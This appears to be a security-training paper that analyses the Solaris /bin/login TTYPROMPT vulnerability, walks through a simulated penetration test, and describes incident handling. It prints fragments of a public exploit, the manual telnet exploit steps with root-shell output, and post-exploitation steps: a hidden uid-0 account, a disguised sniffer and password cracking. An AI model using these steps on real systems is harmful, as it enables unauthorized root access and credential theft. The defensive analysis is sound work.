The purpose of this paper is to demonstrate the analysis of the recently publish exploits code (October 2002) of the Solaris /bin/login TTYPROMPT environment. The vulnerability was published at sunsolve.sun.com with different kinds of names and patches for this vulnerability had been released by Solaris.

The attack environment was based on re-creation situation on enterprise network for company ABC. The objective of this paper is to demonstrate the attacks with the exploits code and also ensure that the company’s incident handling Standard Operation Procedure (SOP) of was taken accordingly.

Some of the information presented in this paper had been sniped-off and modified to protect real information.

Part 1 : The Exploits

Name :

Solaris /bin/login TTYPROMPT vulnerability.

Solaris operating system /bin/login vulnerability were discovered and proven for attackers to get system shell access. Attackers can use any user found in the system and use it to login without entering any password. The code exploiting /bin/login vulnerability involved environment variable TTYPROMPT. Solaris had provided the different key words for different Solaris versions. Below are the keywords taken from Solaris web site for patch number references.

Solaris 2.6 - security loginlog invalid username re-tries
Solaris 7 - security login buffer overflow
Solaris 8 – Security login buffer overflow

This vulnerability was also knows as “Buffer Overflow in System V Derived Login” as published at CERT advisories.

http://www.cert.org/advisories/CA-2001-34.html

CERT vulnerability note #569272.

http://www.kb.cert.org/vuls/id/569272

ISS had assign “high risk” to this vulnerability. They named it as “telnet-tab-bo (7284)” as published at their website.

http://www.iss.net/security_center/static/7284.php

Solaris had published the vulnerability here.

http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/213

Security Focus discussion on “login” buffer overflow. The butraq id for this vulnerability is 3681

http://online.securityfocus.com/bid/3681/info/

Common Vulnerabilities and Exposures (CVE) had assign CVE-2001-0797 for this vulnerability.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0797

Affected Operating system and Version

All below Solaris distributions un-patched were vulnerable to this exploits. Both SunOS on INTEL (SunOS 5.5.1_x86) and SPARC (SunOS 5.*) platform were affected by this exploits.

SunOS 5.8

SunOS 5.8_x86
SunOS 5.7
SunOS 5.7_x86
SunOS 5.6
SunOS 5.6_x86
SunOS 5.5.1
SunOS 5.5.1_x86

Brief Exploits Description

CERT had published that some implementation of /bin/login derived from affected System V allow user to predefine variables to the process. This argument is store in an array and flaws exist while checking the numbers of argument. This will lead to overflow the arrays of buffer used. Client user application such telnetd ( telnet daemon) and rlogind need login process as the fundamental. Therefore, although most login run as not a suid program, it will inheriting the process id. For example, telnetd were run as root privileged and exploiting the login process will also led to gain the root access privileged.

These exploits can be tested by not compiling anything at all. Using telnet client to vulnerable Solaris systems, a user can gain access to shell accounts, even with roots, if roots are allowed to login from remote.

The attacker needs to open telnet sessions and define the tty environment to a six character string. Then, by supplying a username, which can be guessed easily or using sendmail xrfy/expn exploits, and followed by 64 “c” characters and ended with “/n”, the attacker will gain shell access to the system.

The quote below was taken from a Bugtraq discussion group. Please refer to references item number 4.

“However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists. The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string, inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). “

After searching using the Google search engine, I finally found the release exploits code for this vulnerability in the packetstormsecurity’s website. The exploit codes were making these attacks much easier and also provide more options.

Protocols

 Login is invoked at the beginning of each terminal session to identify user to system. login asks for your user name and your password. Most of system will not allowed login from network, but other programmed such as telnetd and rlogind used this program for client access to host.

Telnet

These telnet protocol descriptions taken from the link below:

http://www.scit.wlv.ac.uk/~jphb/comms/telnet.html

The Telnet protocol is often thought of as simply providing a facility for remote logins to computer via the Internet. This was its original purpose although it can be used for many other purposes.

It is best understood in the context of a user with a simple terminal using the local telnet program (known as the client program) to run a login session on a remote computer where his communications needs are handled by a telnet server program. It must be emphasised that the telnet server can pass on the data it has received from the client to many other types of process including a remote login server. It is described in RFC854 and was first published in 1983.

The telnet protocols also specify various commands that control the methods and various details of the interactions between the client and the server. These commands are incorporated within the data stream. The commands are distinguished by the use of various characters with the most significant bit set. Commands are always introduced by a character with the decimal code 255 known as an Interpret as command (IAC) character. The complete set of special characters are:

*Name*	*Decimal Code*	*Meaning*
SE	240	End of sub negotiation parameters.
NOP	241	No operation
DM	242	Data mark. Indicates the position of a Synch event within the data stream. This should always be accompanied by a TCP urgent notification.
BRK	243	Break. Indicates that the "break" or "attention" key was hit.
IP	244	Suspend, interrupt or abort the process to which the NVT is connected.
AO	245	Abort output. Allows the current process to run to completion but do not send its output to the user.
AYT	246	Are you there? Send back to the NVT some visible evidence that the AYT was received.
EC	247	Erase character. The receiver should delete the last preceding undeleted character from the data stream.
EL	248	Erase line. Delete characters from the data stream back to but not including the previous CRLF.
GA	249	Go ahead. Used, under certain circumstances, to tell the other end that it can transmit.
SB	250	Sub negotiation of the indicated option follows.
WILL	251	Indicates the desire to begin performing, or confirmation that you are now performing, the indicated option.
WONT	252	Indicates the refusal to perform, or continue performing, the indicated option.
DO	253	Indicates the request that the other party perform, or confirmation that you are expecting the other party to perform, the indicated option.
DONT	254	Indicates the demand that the other party stop performing, or confirmation that you are no longer expecting the other party to perform, the indicated option.
IAC	255	Interpret as command

Variants

To date, there are no variant of this exploits released into the public community. My calculations on the next exploit is that it will be in worm mode that combines more destructive features such as creating back doors and distributing denial of service attacks as well as many other negative features.

References:

Part II : The Attack

In this attack, I will simulate it into a fictional ABC company enterprise network. The task is to carry penetration testing from their LAN.

Description

The existing internal security team personnel were not informed of this. This is in order to generate results and testing the incident handling Standard Operational Procedure (SOP).

Most systems were designed to prevent attacks from the external world, i.e., the Internet. However, there is a reluctance to apply the same defence systems for internal network.

Network diagram

This system was designed in such a way so enabling the User LAN being totally separated from the external networks.

Upstream routers:

This router is connected to two Internet Service Providers (ISP) for redundancy purposes. All the routers had been upgraded with the latest Internet Operating Systems (IOS). The access control lists (ACL’s) was configured to permit only web, mail and DNS traffic to the network.

Firewall1:

The traffic from the Internet will pass through Firewall1 to the external server area. Firewall1 had three interfaces. The first interface is from the upstream routers. The second interface to the external email virus wall and public web server. The third interface is to Firewall2. All network traffic will be monitored by the Intrusion Detection System (IDS).

Firewall 2:

This firewall with four interfaces controls traffic to the internal networks. Internal access can only be connected to the Internet via proxy server. The rules defined that there were no direct access to their external server area.

Both firewalls close all ICMP requests so it will block all ‘ping’ and traceroute commands from outside and inside connections.

The first email hops is to the e-mail virus wall and then it relays internally to the public email server in DMZ. Users access their mail using pop or imap. They use web interfaces for user and account management such as changing passwords and user profiling.

For updating web pages at the public web server, the web administrator will login to the development server. From there, they login to the ftp server in DMZ. Then, they get connected to their public web server for updating files whilst the system administrator will be able to do maintenance from the ftp server to the public servers.

The ftp server is the only server that allows out going traffic to the external server area which consists of email virus server, public web server and IDS. This is the most critical server of all. Again, there is no direct connection from the user LAN to this server.

Attack

How the exploit work

In the first butraq discussion, they explained that the attacker need not compile any code for this type of attack. In this paper, my discussion will be based on the exploit code released on October 2002 in packetstormsecurity. I will also demonstrate how anyone, with knowledge of reading, writing and some compiling skills, such as internal users can be a great threat to system compromises. It will also try out the efficiency of the company’s incident handling procedures.

I will explain how the exploits codes were written in order to get access to the system. By default, it will try to open a telnet connection to port 23 and with username called “bin”.

The code defining the 6 character for the /bin/login TTYPROMPT environment strings.

------------------------------------------------start code -------------------------------------------------------

char shellcode[]= "\x97\x97\x97\x97\x97\x97";

-------------------------------------------------end code---------------------------------------------------------

The code was released with the Domain Name System (DNS) query ability. Thus, it will help attackers who do not want to go through the hassle of finding the Internet Protocol (IP) address. Cool features indeed. If the system cannot resolve the victim IP, just replace the hostname with an IP address. It works fine as well.

------------------------------------------------start code -------------------------------------------------------

u_int32_t get_ip (char *host)

    struct hostent *hp;

    if(!(hp = gethostbyname(host))){

        fprintf(stderr, "cannot resolve %s\n", host);

        return(0);

    return(*(u_int32_t *)hp->h_addr_list[0]);

-------------------------------------------------end code---------------------------------------------------------

The code will try to establish connection with the victim hosts. This is required so that the code will send and define the tty environment of the remote system.

------------------------------------------------start code -------------------------------------------------------

int get_socket(char *target, int port)

    int sock;

    u_int32_t ip;

    struct sockaddr_in sin;

    if(!(ip = get_ip(target)))

        return(0);

    bzero(&sin, sizeof(sin));

    sin.sin_family = AF_INET;

    sin.sin_port = htons(port);

    sin.sin_addr.s_addr = ip;

    if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

        msg("socket");

    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)

        msg("connect");

    return(sock);

-------------------------------------------------end code---------------------------------------------------------

The code continues to define the TTYPROMPT environment. Below are descriptions taken from http://www.scit.wlv.ac.uk/~jphb/comms/telnet.html on how telnet handle options and commands.

------------------------------------start---------------------------------------------

*Description*	*Decimal Code*	*Action*
WILL	251	Sender wants to do something.
DO	252	Sender wants the other end to do something.
WONT	253	Sender does not want to do something.
DONT	254	Sender wants the other not to do something.

Associated with each of these, there are various possible responses

*Sender Sent*	*Receiver Responds*	*Implication*
WILL	DO	The sender would like to use a certain facility if the receiver can handle it. Option is now in effect
WILL	DONT	Receiver says it cannot support the option. Option is not in effect.
DO	WILL	The sender says it can handle traffic from the sender if the sender wishes to use a certain option. Option is now in effect.
DO	WONT	Receiver says it cannot support the option. Option is not in effect.
WONT	DONT	Option disabled. DONT is only valid response.
DONT	WONT	Option disabled. WONT is only valid response.

For example, if the client wishes to identify the terminal type to the server the following exchange might take place

Client 255(IAC),251(WILL),24

Server 255(IAC),253(DO),24

Server 255(IAC),250(SB),24,1,255(IAC),240(SE)

Client 255(IAC),250(SB),24,0,'V','T','2','2','0',255(IAC),240(SE)

The first exchange establishes that terminal type (option number 24) will be handled; the server then enquires of the client what value it wishes to associate with the terminal type. The sequence SB,24,1 implies sub-option negotiation for option type 24, value required (1). The IAC,SE sequence indicates the end of this request.

The response IAC,SB,24,0,'V'... implies sub-option negotiation for option type 24, value supplied (0), the IAC,SE sequence indicates the end of the response (and the supplied value).

------------------------------end ----------------------------------------------------

The codes below shows how it sets-up the TTY environment to the server.

------------------------------------------------start code -------------------------------------------------------

void send_wont(int sock, int option)

    char buf[3], *ptr=buf;

    *ptr++ = IAC;

    *ptr++ = WONT;

    *ptr++ = (unsigned char)option;

    if(write(sock, buf, 3) < 0)

        msg("write");

    return;

void send_will(int sock, int option)

    char buf[3], *ptr=buf;

    *ptr++ = IAC;

    *ptr++ = WILL;

    *ptr++ = (unsigned char)option;

    if(write(sock, buf, 3) < 0)

        msg("write");

    return;

void send_do(int sock, int option)

    char buf[3], *ptr=buf;

    *ptr++ = IAC;

    *ptr++ = DO;

    *ptr++ = (unsigned char)option;

    if(write(sock, buf, 3) < 0)

        msg("write");

    return;

void send_env(int sock, char *name, char *value)

    char buf[BUFLEN], *ptr = buf;

    *ptr++ = IAC;

    *ptr++ = SB;

    *ptr++ = TELOPT_NEW_ENVIRON;

    *ptr++ = TELQUAL_IS;

    *ptr++ = NEW_ENV_VAR;

    strncpy(ptr, name, BUFLEN-20);

    ptr += strlen(ptr);

    *ptr++ = NEW_ENV_VALUE;

    strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);

    ptr += strlen(ptr);

    *ptr++ = IAC;

    *ptr++ = SE;

    if(write(sock, buf, (ptr - buf)) < 0)

        msg("write");

    return;

void do_negotiate(int sock)

    send_wont(sock, TELOPT_TTYPE);

    send_wont(sock, TELOPT_NAWS);

    send_wont(sock, TELOPT_LFLOW);

    send_wont(sock, TELOPT_LINEMODE);

    send_wont(sock, TELOPT_XDISPLOC);

    send_will(sock, TELOPT_LFLOW);

    send_will(sock, TELOPT_LINEMODE);

    send_wont(sock, TELOPT_OLD_ENVIRON);

    send_will(sock, TELOPT_NEW_ENVIRON);

    send_will(sock, TELOPT_BINARY);

    send_env(sock, "TTYPROMPT", shellcode);

    return;

-------------------------------------------------end code---------------------------------------------------------

The code send 64 “characters” and ended it with “/n”. This is where the user will get shell access. The /bin/login cannot handle this request and it will prompt the shell without asking for a password.

------------------------------------------------start code -------------------------------------------------------

    char outbuf[128],*s_buf;

    int i, j;

    if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))

        msg("malloc");

    strcpy(outbuf, user);

    for(i = 0; i < 65; i++)

       strcat(outbuf, " c");

    strcat(outbuf, "\n");

    printf("send to target:\n%s\n", outbuf);

    if(write(sock, outbuf, strlen(outbuf)) < 0)

        msg("write");

    /* -- 2 reads for reading the garbage which screws up term -- */

    if((j = read(sock, s_buf, BUFLEN)) < 0)

        msg("read");

    if((j = read(sock, s_buf, BUFLEN)) < 0)

        msg("read");

    free(s_buf);

    return;

-------------------------------------------------end code---------------------------------------------------------

The code also provides some other options, such as which port to attack and which user to use. By default, it will use username “bin” and connect to port 23 on the victim’s machine. It also will display the system name using command “uname –a” on the compromised system.

------------------------------------------------start code --------------------------------------------------------

    int c, n, sockfd, port = 23;

    char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";

    char user[36], host[36];

    fd_set rset;

-------------------------------------------------end code---------------------------------------------------------

The attacker will gain shell access base on the username given. For harvesting user in the system, you can use sendmail expn/vrfy vulnerability, finger and rusers. If the system allows for remote root login, it will lead to total system compromise. If not, the systems will also be vulnerable due to privileged escalation exploits such as netpr in Solaris.

In the next segment, I will discuss the step-by-step methodology taken enabling me to reach the external server area from a user LAN.

Description of the attack

I started the penetration test from user LAN. There are few step involved in this exercise.

This corporate network uses the same Solaris version operating system for all their UNIX servers. This is to ensure the scalability and integrity of the application and ease of maintenance procedures. For this exercise, I am using a Compact Evo N600c notebook with dual boot operating system; Window 2000 Professional edition/ Red hat Linux 7.3 as the attacker. Some tools were used in this attack including both from the commercial and open source software. Below are the tools used in this attack:

Retina scanner)
LAN guard security scanner
Nmap
Gcc (compiler)
Dsniff
Ethereal

I called my pc as the attacker, the victim server as victim1, and the DMZ server as victim2. My intention was to get access to victim2 which is located in DMZ and finally the public mail server. As per firewall2 rules, only certain hosts can access the victim2 in DMZ. Victim1 is actually a development server for victim 2.

Using the same operating system in one network will give the attacker more options. The same installation and maintenance deployed in each machine by the system administration group. As for me, I will have the privileged to test the same exploit to any system found inside the network.

Information Gathering

I started the attack with information gathering of the targeting system. This method were use to identify vulnerable target host. To perform this exercise, I had used tools such as Solarwinds Engineer Edition and Sam Spade. Using ping sweep function in Solarwinds will identify the response hosts and also provide hostnames.

Scanning

Using different types of port scanners will give me more information of the victim’s systems. Scanning results will vary depending on tool configurations and vulnerability library. The scanning will trigger IDS, if any.

Nmap

Nmap results will provide me information on the open ports and operating systems. To identity the version of the service in place, we need to telnet to the port for more information. By default , Nmap will only scan known ports below 1024. Some application were install using high port. Nmap can identity this port using options “–p”. In this scanning, I’m using the below command.

# nmap -0 –sS –p1-65535 –oN victim1 victim1

Interesting ports on (Victim1):

(The 1584 ports scanned but not shown below are in state: closed)

Port State Service

9/tcp open discard

13/tcp open daytime

21/tcp open ftp

23/tcp open telnet

25/tcp open smtp

37/tcp open time

53/tcp open domain

111/tcp open sunrpc

512/tcp open exec

513/tcp open login

514/tcp open shell

4045/tcp open lockd

7100/tcp open font-service

32771/tcp open sometimes-rpc5

32772/tcp open sometimes-rpc7

32773/tcp open sometimes-rpc9

32774/tcp open sometimes-rpc11

Remote operating system guess: Solaris 2.5, 2.5.1

Nmap also provide the remote operating system.

Retina

Retina is a commercial vulnerability scanner produce by eye. I’m using Retina Version 3 trial-version

Retina results are much more helpful because it also provides you with Services fingerprinting, the likes of version, release, CVE numbers, butraq id, risk level as well as many other helpful information. Retina results are based on the rules. By default, it will use all the policy regardless your remote operating system and only scanning define ports as per policy. Some popular application using high port was identify by retina such as 6000 X-windows. To produce faster result, you need to modify the policy. Below are some of the results taken from the retina:

OS Detected: Solaris 2.5, 2.5.1
Remote Access: telnet service
Risk Level: Medium
Description: Telnet is a service that allows a remote user to connect to a machine. Telnet sends all usernames, passwords, and data unencrypted.
How To Fix:
Consult your user manual or help file for information on how to disable your telnet service. If no user manual or help file exists, then contact your software vendor.
CVE: CAN-1999-0619

This information is useful for identifying the right exploits and vulnerability to be used. Retinas are much slower scanner if we use the default option. Below are the results provided by retina for detected protocol, port state and current version.

-------------------------------------------------------------------------------

23: TELNET - Telnet
Detected Protocol: TELNET
Port State: Open
Version: UNIX(r) System V Release 4.0

---------------------------------------------------------------------

Lan Guard

I am using LAN guard network scanner v.2.0 by www.gfi.com. This scanner is also function as a vulnerability scanning tool. The results are much more like Retina but it is on a faster scale.

IP Address : xxx.xxx.xxx.xx
  HostName : xxxxxxx
  Operating System : SunOS 5.6
  Time to live (TTL) : 255 (255) - Same network segment
  Address mask : 255.255.0.0

LAN guard also gathered information about the system using the SNMP strings.

  SNMP info (system)
     sysDescr : Sun SNMP Agent, Ultra-Enterprise
     sysUpTime : 86 days, 34 minutes, 20 seconds
     sysContact : System administrator
     sysName : xxxxxxx
     sysLocation : System administrators office
     Object ID : 1.3.6.1.4.1.42.2.1.1 (Sun Microsystems SunOS)
     Vendor : Sun Microsystems

If LAN guard found any sort of vulnerability, it will show the results and compare it with the database and provide the butraq id and URL. The reports also provide legends so that we can easily analyse the system. The registered version of the LAN guard can even deploy patches for Microsoft Windows OS.

  Alerts (4)    (Legend : - High - Medium - Low - Information)

      RPC_Alerts (3)
           snmpXdmid SunOS buffer overflow
             Description : Some versions of this service are vulnerable (Run arbitrary commands as root)
             Bugtraq ID/URL : 2417
           statd format string attack
             Description : Some versions of this service are vulnerable (Run arbitrary commands as root)
             Bugtraq ID/URL : 1480
           walld message spoofing
             Description : An attacker can use this service for spoofing console messages

      Misc_Alerts (1)
           Remote Buffer Overflow Vulnerability in Solaris Print Protocol Daemon
             Description : Allow a remote or local attacker to crash the daemon (in.lpd) or execute arbitrary codes with super user privileges.
             Bugtraq ID/URL : http://xforce.iss.net/alerts/advise80.php

Both firewall blocks ICMP request from outside connection but open it from internal. All the scanner was configure accordingly so that they can scan unresponsive servers. The user from the internal user LAN cannot gain access to the server in DMZ area. The firewall rules also prevent access. As per information gathered, I believe that if I can compromise victim1, I will get access to victim2 in DMZ which also can lead to a compromise on the external server LAN.

Gaining access

After analysing all the information gathered from the scanning result, I did a search for known services vulnerabilities. Some of the scanning results need to be verified against each other. Retina and LAN guard are often executed from their default options. Some ports are sometimes ignored in LAN guard and in Retina. Therefore, results from Nmap can be the correct one, if we use it to scan all ports (udp/tcp). Many functions in nmap such as OS fingerprinting, Stealth scanning and 65535 port scanning were helpful to detect the right open ports.

I had minimised the search to well known services such as telnet, ftp, Sun remote procedure call services (rwalld, rpcttdb, rstatd,) using http://www.google.com , astalavista.com and packetstormsecurity.com

I am deciding to penetrate the system using the /bin/login exploit. I also tried the method which was published in the butraq discussion. In the telnet to the victim, I define the TTYPROMPT environment with 6 characters. Then, I opened the telnet session to victim1 hosts. When I am connected and obtained the display banner of telnet, I put username “bin” and followed by 64 “c’s” character with space between them, and “\n” were place just after the 64’s c. The system gave me a shell prompt. The only limitation is that you need to key in exactly 64 “c’s” characters.

[root@nos]# telnet

telnet> environ define TTYPROMPT abcdef

telnet> o victim1

Trying victim1...

Connected to victim1.

Escape character is '^]'.

UNIX(r) System V Release 4.0 (victim1)

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n

Last login: Wed Nov 27 12:38:32 from xx.xx.xx.xx

Sun Microsystems Inc. SunOS 5.5.1 Generic May 1996

$ uname -a

SunOS victim1 5.5.1 Generic_103640-20 sun4m sparc SUNW,SPARCstation-LX

$ who

bin pts/0 Dec 2 08:37 (attacker 1)

The improvise exploit code was released and published at http://packetstormsecurity.nl/0210-exploits/telnet.c. I am compiling the code in Linux Red hat 7.3 using Gnu C compiler (gcc). I executed the binary and it come out with more help pages.

# ./a.out

============================================================

Solaris 5.6 7 8 telnetd Remote exploit

Tested for:

SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc

SunOS 5.7, 5.8 x86

Code by lion, Welcome to HUC website http://www.cnhonker.com

Usage: ./a.out [-u user] [-p port] <-h host>

-u: login username (default: bin), try "root" :)

-p: port to use (default: 23)

At this moment, I am executing the binary with default user to victim1.

#./a.out -h victim1

============================================================

Solaris 5.6 7 8 telnetd Remote exploit

Tested for:

SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc

SunOS 5.7, 5.8 x86

Code by lion, Welcome to HUC website http://www.cnhonker.com

send to target:

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c

$ uid=2(bin) gid=2(bin)

SunOS victim1 5.5.1 Generic_103640-20 sun4m sparc SUNW,SPARCstation-LX

$ who

who

bin pts/0 Dec 2 08:40 (attacker)

I ran again the exploits using user roots.

# ./a.out -u root -h victim1

============================================================

Solaris 5.6 7 8 telnetd Remote exploit

Tested for:

SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc

SunOS 5.7, 5.8 x86

Code by lion, Welcome to HUC website http://www.cnhonker.com

send to target:

root c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c

You have new mail.

root@victim1:[/]1 # uid=0(root) gid=1(other)

SunOS victim1 5.5.1 Generic_103640-20 sun4m sparc SUNW,SPARCstation-LX

root@victim1:[/]2 # who

who

root pts/0 Dec 2 08:43 (xx.xx.xx.xx)

root@victim1:[/]3 # id

uid=0(root) gid=1(other)

root@victim1:[/]4 #

This system allowed for remote root login. The default installation of solaris did no allow root login. I believe that this development server allowed root login for easy administration jobs access. My next step is to find network information and log files. I found the entire .rhosts files in the server. After checking the files, I saw that victim2 were in the trusted list in victim1. Then, using rlogin , I was successfully connected to victim2’s server which was located in DMZ. There were no compilers in the machine. So, I needed to upload my own compiler to compile sniffer programs, dsniff for solaris.

Although I obtained root access, I did not have the root password. I am not going to change the password, so I added a user with uid 0 inside the system. Using the user created, I uploaded every necessary file such as compiler (gcc) and password sniffer (dsniff) to victim1. I am also using the same method to the Victim2’s server. I modified the dsniff binary name to sendmil, similar to sendmail service and running in background.

I downloaded shadow and password files for both machines. After performing UNIX password cracker, john the ripper, I had managed to get some weak passwords. To crack those passwords, I need to merge the password and shadow files using unshadow binary come with john the ripper distribution.

# ./john passwd

Loaded 200 passwords with 4 different salts (Standard DES [24/32 4K])

Guesses: 0 time: 0:00:00:03 80% (2) c/s: 112512 trying: 7smashin - 7kathryn

I checked the syslog.conf to view the location of log files. Since this system is using a default installation, the log file was located at var/adm/message. I had noticed that they did not log any auth access to /var/adm/messages and only sent it to console. All user logins were not captured by any of the messages and their IDS. I can stay as long as I wanted to and nobody will notice it unless they sat in front of the console. Below are /etc/syslog files extracted from the compromised server.

*.err;kern.notice;auth.notice;user.none /dev/console

*.err;kern.debug;daemon.notice;mail.crit;user.none /var/adm/messages

*.alert;kern.err;daemon.err;user.none operator

*.alert;user.none root

*.emerg;user.none *

I also utilised the tool Ethereal to detect attack signatures. The result shows that the exploit code tried to define the terminal types of the remote system.

How to protect against the attack

1. Disable remote root login.

2. Patch the affected Solaris system. The patches available at sunsolve.sun.com as per below

http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/213

    OS Version                          Patch ID

    __________                         _________

    SunOS 5.8                        111085-02

    SunOS 5.8_x86               111086-02

    SunOS 5.7                        112300-01

    SunOS 5.7_x86             112301-01

    SunOS 5.6                        105665-04

    SunOS 5.6_x86             105666-04

    SunOS 5.5.1                     106160-02

    SunOS 5.5.1_x86          106161-02

3.            For immediate rectification, apply tcp wrappers in telnet services. Restricted ip addresses only to valid users. Modify /etc/inetd.conf and replace telnetd with tcpd. Edit hosts.allow and hosts.deny arrcodingly and allow only certain ip for services. The best practise is to block All and allow ip address or domain name to services,

4.            Use sshd instead of telnet. This is more secure and all the communications would be in encrypted mode and cannot be captured by sniffer tools.

5.            Modify syslog.conf for logging all activities to file instead of /dev/console or to another log server. This will help to retrieve the log itf the server was compromise.

*.err;kern.notice;auth.notice;user.none /var/adm/messages

*.err;kern.debug;daemon.notice;mail.crit;user.none /var/adm/messages

*.alert;kern.err;daemon.err;user.none /var/adm/message

*.alert;user.none /var/adm/messages

*.emerg;user.none *

6.            Apply File integrity Checker such as AIDE (Advanced Intrusion Detection Enviroment) or Tripwire and keep the databases on write once media and put it out side the server. This will ensure data integrity check if the system was compromise.

Part III : The Incident Handling Process

The company policies described the security team personnel. The team already attended SANS training and also a few other security related conferences such as Black Hat and InfoSecurity.

Preparation

The company policies neatly defined their security perimeter defences. Their personnel had been able to conduct all the necessary early warning notifications and will refer to the external incident handling and forensic units. Their security team had taken many security preventive measures such as log monitoring, access control list and firewalls rules.

Their perimeter defences from external threats was designed with scalability and security in mind. The usage of firewall, Router ACL, virus protection, DMZ had showed that they adopt the industry’s best practices in system security. The only thing that they left out, is monitoring internal threats. I am sure they are not the only ones out there.

They had prepared several units to handle incident in their organisation. The group divided into different support level with different task and responsibility.

Level 1 - Incident Handling Team

This team main responsible is to identify and handle any reporting incident by user. The team also gather all information about the incident and make validation process. The team act like a hub. They will reply any user difficulty within their capability. If they cannot solve the case, or any physical assistance needed, they will refer the case to the next level. For intrusion case, they will pass it to Intrusion analyst for further investigation.

Level 2- Intrusion Analyst

This team will gather all data from incident handler and proceed to nest step. More evidence such as network diagram, systems log, firewall log, IDS log and so on were collected and analysed for more information. Intrusion analyst team will advice the user with necessary counter measure, steps and action that can be taken for this incident. They also will assist the user to do penetration testing after reinstall new system.

Level 3 – Computer Forensic Team

This team will be deployed if more detail evidence needed. The team will be preserve the data by imaging the hard drive and analyse it. The result can be used for further legal action if necessary.

These are some example of their forensic policies. The team will carry out the first level forensic analysis. If the team cannot solve the case, it will pass the case to the external forensic team.

Below are the example of their computer forensic policy.

The computer forensics team will take several careful steps to identify and attempt to retrieve possible evidence that may exist on a subject’s computer system. Based on the three core foundations of computer forensics methodology, which are to collect, analyse and present, a variety of forensic explorations (PC hard disk analysis, deleted file reconstruction, historical/hidden/lost data restoration and discovery) can be held.

Collect

Protects the subject’s computer system during the forensic examination from any possible alteration, damage, data corruption, or virus introduction.

Discovers all files on the subject’s system. This includes existing normal files, deleted yet remaining files, hidden files, password protected files, and encrypted files.

Recovers all (or as much as possible) of discovered deleted files.

Analyze

Reveals (to possible extents) the contents of hidden files as well as temporary or swap files used by both the application programs and the operating system.

Accesses (if possible and if legally appropriate) the contents of protected or encrypted files.

Analyses all possibly relevant data found in special (and typically inaccessible) areas of a disk. This includes but is not limited to what is called 'unallocated' space on a disk (currently unused, but possibly the repository of previous data that is relevant evidence), as well as ‘slack' space in a file (the remnant area at the end of a file, in the last assigned disk cluster, that is unused by current file data, but once again may be a possible site for previously created and relevant evidence).

Identification

A member of the security team had gone into the server room to perform daily backups and checks on the server console. He realises that unwanted connections were made to the system. “bin” and “root” user were found login from unknown IP addresses. He realises that this is a valid attack since bin is not a user with login to the system. He immediately consults all available team members. The team had gone into the server room and disconnected the server from the network. Their entire servers were equipped with tripwire. Following the best industrial practices, the tripwire policy was placed in a remote area and copied on write-once only media such as CD-R.

The security team quickly checks all other IDS logs for further investigation. Since their IDS only detected external connection, they found nothing. The only message they discovered is from the console. The attacks were come from an unknown workstation. They ran the last command and found some “bin” and “root: user had remotely login to the system.

Tripwire result give them more help which they detected all the changes in the /bin and /etc files. At that time they sure enough that the server had been compromise.

Containment

Their policies dictate that, each compromise server need to be taken off from the system immediately regardless of the criticality of the system. The policies define that the responsibility to carry out the task was given to the Security team leader based on the facts and findings at that moment. This is a very important policy that will stop further action by the attacker.

The management was informed with an immediate impact analysis report from the security team. The management gave full permission to the team to perform further action. This procedure was also defined in their security policy.

Their forensic team member was deployed to the site and equipped it with all the necessary tools. Each of the process was recorded in a tape recorder and photographs were taken of each step. The team member needs to sign the entire document and obtain verification by other members. This procedure is to ensure that all the evidence taken are “forensically sound” and can be used for legal purposes.

Their forensic policy described that each compromised or suspected compromised server need to be taken off from network, switched off immediately and the hard disk imaged. The team members also defined their computer forensic policies. The servers were hard reset and compromised hard disks were imaged. There were few options for imaging.

In this case, the team decided to use Symantec Ghost software to do it because the system was using SCSI disk. Below are the software and hardware list available for their forensic team usage. These tools were placed in bags and stored inside a secure room and only used in such forensic events.

· Customer information form

· Host identification form

· Imaging software and tools

o DIBS RAID (hard drive image tools)

o Symantec Ghost

o CD with fresh binary executable file such as ls, ps, netstat for comparing with the altered binary in the compromise system

· Digital and Polaroid camera

· Tape recorder

· Seal and tag plastic bag for evidence sampling

· 3 unit of IDE Hard Drive

· 2 unit of notebook size hard drive

· 3 unit of SCSI Hard drive

· USB hard drive and floppy drive

· SCSI and IDE cable and connecter

· Notebook with multi-os, forensic software , sniffer, external scsi ports and CD-RW drive

· Portable printer

· Hub

· Tools

o Screw drivers

o Tork screw driver

o Allen keys

o Long nose pliers

o Crimping tools

o Some other tools

· UTP cables

· Power Cable

· Usb cable

They had already prepared the hard disk and performed imaging tasks using another machine. The image process took about 10 minutes for 4GB hard drive. The main hard drive was kept in a secure place for further action.

The forensic team analysed the compromised system using the imaged hard disk. First, their run tripwire using the policy files from CD_R. Tripwire was configured to check any changes in the password files. They found all the changes made by me as per their tripwire rules. They continued the investigation on log files. All evidence was captured and the team starts tracing the source.

They team run the last command to see the person that logged into the system and from where he/she did so.

root pts/2 attacker ip Sun Dec 1 16:57 still logged in

root pts/2 attacker ip Sun Dec 1 16:51 - 16:54 (00:02)

bin pts/3 attacker ip Sun Dec 1 16:41 - 16:42 (00:01)

bin pts/3 attacker ip Sun Dec 1 16:29 - 16:31 (00:02)

root console Sun Dec 1 16:28 still logged in

Unix server maintains a record of the recent user-entered command in the shell history logs (.sh_history,. history). This file is useful because sometimes the hacker forgets to clean up the file contents or is unaware of its existence.

